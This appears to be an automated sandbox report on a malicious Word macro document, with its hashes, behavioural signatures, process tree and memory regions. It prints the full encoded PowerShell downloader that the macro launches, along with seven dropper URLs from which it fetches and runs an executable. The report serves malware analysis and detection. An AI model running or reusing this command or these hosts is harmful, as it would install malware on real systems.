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Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    15/05/2024, 07:26

General

  • Target

    4519806e3591ddc64d6d760fb8ece354_JaffaCakes118.doc

  • Size

    190KB

  • MD5

    4519806e3591ddc64d6d760fb8ece354

  • SHA1

    739fc2164b1f4ef489d1b98f149ef0dcf882bf9a

  • SHA256

    30c629812a610192dc5b3898cb7b30101d998bf327a9bae06c357cc2108a08a6

  • SHA512

    866e2a2013f8c3445c0f5d30aeeed43e977e34f5b51295653e326d2429678e3218ec7ebfdf096ddb5a0548b437f9a7ddd52a63a709f945d9c6edf2b337fc7a18

  • SSDEEP

    1536:rrdi1Ir77zOH98Wj2gpngt+a9Fi37MgT7TxZk5tBRt9k6P+A:rrfrzOH98ipgsrMgT3ytHt9ZP+A

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://geisterhouse.com/cgi-bin/LAb1/

exe.dropper

http://amyemitchell.com/themes/w/

exe.dropper

http://forestanalytics.net/images/57A7/

exe.dropper

https://konican.com/cgi-bin/cWu/

exe.dropper

http://strike3productions.com/squad/3aV6xrH/

exe.dropper

http://riandutra.com/img/wOMENgh/

exe.dropper

http://justinscott.com.au/sites/rRS/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4519806e3591ddc64d6d760fb8ece354_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3012
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2204
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABMAGwAZABsAGsANQB0AD0AKAAoACcAVAAnACsAJwBoAG0AZwAyACcAKQArACcAaQB3ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBwAHIAbwBGAEkAbABFAFwARQBwADEAcwA4AFUAVgBcAGMAZABjADgAYgA2AFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAFUAcgBgAGkAYABUAGAAWQBQAHIATwBUAE8AYABDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAJwAyACcAKwAoACcALAAgAHQAJwArACcAbAAnACkAKwAoACcAcwAxADEALAAgAHQAJwArACcAbABzACcAKQApADsAJABMAGkAOAAzAHAAbQBoACAAPQAgACgAKAAnAE0ANQAnACsAJwBrAG0ANAAxACcAKQArACcANwA2ACcAKQA7ACQAUwA0AHgAdQBfAHEAdwA9ACgAKAAnAEMAbQBkAGkANwAnACsAJwA5ACcAKQArACcAbQAnACkAOwAkAEsANgBkADcAMgB3ADgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwB6ACcAKwAnADEAJwArACcAeQBFAHAAMQBzACcAKwAnADgAdQB2AHoAJwApACsAJwAxAHkAJwArACgAJwBDAGQAYwAnACsAJwA4AGIAJwApACsAKAAnADYAdQB6ACcAKwAnADEAeQAnACkAKQAuACIAcgBFAHAAYABsAGEAYwBlACIAKAAoAFsAYwBoAGEAcgBdADEAMgAyACsAWwBjAGgAYQByAF0ANAA5ACsAWwBjAGgAYQByAF0AMQAyADEAKQAsACcAXAAnACkAKQArACQATABpADgAMwBwAG0AaAArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAEIAMwB6AGgAcAB5ADYAPQAoACgAJwBLAHAAJwArACcAaQAnACkAKwAoACcAdQAnACsAJwBpAGEAMQAnACkAKQA7ACQASQB4AGMAcwBnAG8AMQA9AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AEUAYgBDAEwASQBFAG4AVAA7ACQASAB4AHoANABvAHgAYQA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAGcAZQBpAHMAdAAnACsAJwBlACcAKQArACgAJwByACcAKwAnAGgAbwAnACkAKwAnAHUAcwAnACsAKAAnAGUALgAnACsAJwBjACcAKQArACgAJwBvAG0AJwArACcALwAnACkAKwAoACcAYwBnAGkAJwArACcALQBiAGkAJwArACcAbgAnACsAJwAvAEwAJwApACsAKAAnAEEAYgAnACsAJwAxACcAKQArACgAJwAvACoAaAAnACsAJwB0AHQAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AYQBtACcAKQArACgAJwB5ACcAKwAnAGUAbQBpAHQAJwApACsAKAAnAGMAaAAnACsAJwBlAGwAJwApACsAJwBsACcAKwAnAC4AJwArACcAYwBvACcAKwAnAG0AJwArACgAJwAvAHQAJwArACcAaAAnACkAKwAnAGUAJwArACgAJwBtAGUAJwArACcAcwAnACkAKwAnAC8AdwAnACsAJwAvACoAJwArACgAJwBoAHQAJwArACcAdABwACcAKQArACcAOgAnACsAJwAvAC8AJwArACcAZgAnACsAJwBvACcAKwAoACcAcgAnACsAJwBlAHMAdAAnACkAKwAnAGEAbgAnACsAJwBhACcAKwAoACcAbAB5AHQAJwArACcAaQBjAHMALgAnACsAJwBuAGUAJwApACsAKAAnAHQALwAnACsAJwBpAG0AYQAnACkAKwAoACcAZwBlAHMALwA1ADcAJwArACcAQQA3AC8AKgBoAHQAdABwAHMAOgAvAC8AawAnACsAJwBvAG4AaQAnACsAJwBjACcAKwAnAGEAJwArACcAbgAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnAGMAZwBpAC0AJwApACsAKAAnAGIAaQAnACsAJwBuAC8AYwAnACkAKwAoACcAVwAnACsAJwB1AC8AKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAnAC8ALwBzAHQAJwArACcAcgAnACkAKwAoACcAaQBrAGUAMwAnACsAJwBwACcAKQArACgAJwByAG8AJwArACcAZAB1ACcAKQArACcAYwAnACsAKAAnAHQAJwArACcAaQBvAG4AcwAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAHMAcQAnACsAJwB1AGEAZAAvACcAKQArACgAJwAzAGEAJwArACcAVgAnACkAKwAnADYAJwArACgAJwB4AHIAJwArACcASAAvACcAKQArACcAKgBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcgBpAGEAJwApACsAJwBuAGQAJwArACgAJwB1AHQAJwArACcAcgAnACkAKwAoACcAYQAuACcAKwAnAGMAbwBtAC8AaQAnACkAKwAnAG0AJwArACgAJwBnAC8AdwAnACsAJwBPACcAKQArACgAJwBNAEUAJwArACcATgBnACcAKQArACgAJwBoAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAnAHAAJwArACgAJwA6AC8ALwBqAHUAcwB0ACcAKwAnAGkAbgAnACkAKwAnAHMAYwAnACsAKAAnAG8AdAB0ACcAKwAnAC4AJwArACcAYwBvAG0AJwApACsAKAAnAC4AJwArACcAYQB1ACcAKQArACcALwAnACsAKAAnAHMAaQB0AGUAcwAnACsAJwAvACcAKQArACgAJwByAFIAJwArACcAUwAvACoAJwApACkALgAiAFMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBiAHYAYgA3AGUAMgA9ACgAJwBTAHMAJwArACgAJwB4ACcAKwAnADgAcwAnACkAKwAnAG8AdwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABaAHoAYwBxADIAcwBoACAAaQBuACAAJABIAHgAegA0AG8AeABhACkAewB0AHIAeQB7ACQASQB4AGMAcwBnAG8AMQAuACIARABgAE8AVwBgAE4AbABPAEEAZABmAGAAaQBsAEUAIgAoACQAWgB6AGMAcQAyAHMAaAAsACAAJABLADYAZAA3ADIAdwA4ACkAOwAkAFkAcQAyADAAZwB4ADcAPQAoACgAJwBZACcAKwAnAGUAZQAnACkAKwAnAHUAJwArACgAJwBpAGMAJwArACcAcAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABLADYAZAA3ADIAdwA4ACkALgAiAGwAZQBgAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADEANQAxADQAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAJwArACcAZQBtACcAKQAoACQASwA2AGQANwAyAHcAOAApADsAJABSAF8ANQBuAGsAYQA4AD0AKAAoACcAWQByACcAKwAnADgAYQAwACcAKQArACcAYQBhACcAKQA7AGIAcgBlAGEAawA7ACQASQB3ADMAawAyAGoAdwA9ACgAKAAnAE4AYwAyAGEAJwArACcAZwAnACkAKwAnAHQAJwArACcAeQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AagA1AHAAMwB0AHkAPQAoACgAJwBWACcAKwAnADkAaQBmACcAKQArACgAJwAwAGIAJwArACcAYQAnACkAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2828

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      5f5ed00181a577fd0ec384f0dbf10195

      SHA1

      62243aff0f9a2ddf41c0b61c3e1242a6eb2b8704

      SHA256

      8c9e040b7f166c111c95178eb3c0f3d9c5be5d2a695ebd88eba5c4ca3b85c1f9

      SHA512

      02bfe346cf38ce97614df26f59f03d828227aed232dcc59d2a3558b279efe9166c875bbba1a0c2f8ccb14b7009b38ec07e51f4f4ad7533c31f28255c31a3cbf3

    • memory/2828-39-0x000000001B860000-0x000000001BB42000-memory.dmp

      Filesize

      2.9MB

    • memory/2828-40-0x0000000001F00000-0x0000000001F08000-memory.dmp

      Filesize

      32KB

    • memory/3012-16-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-7-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-13-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-12-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-11-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-10-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-9-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-8-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-14-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-19-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-21-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-22-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-20-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-17-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-18-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-0-0x000000002FC11000-0x000000002FC12000-memory.dmp

      Filesize

      4KB

    • memory/3012-27-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-15-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-6-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-25-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-31-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-32-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-30-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-29-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-28-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-24-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-23-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-33-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-26-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-2-0x0000000070F8D000-0x0000000070F98000-memory.dmp

      Filesize

      44KB

    • memory/3012-49-0x0000000070F8D000-0x0000000070F98000-memory.dmp

      Filesize

      44KB

    • memory/3012-50-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-51-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/3012-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3012-67-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3012-68-0x0000000070F8D000-0x0000000070F98000-memory.dmp

      Filesize

      44KB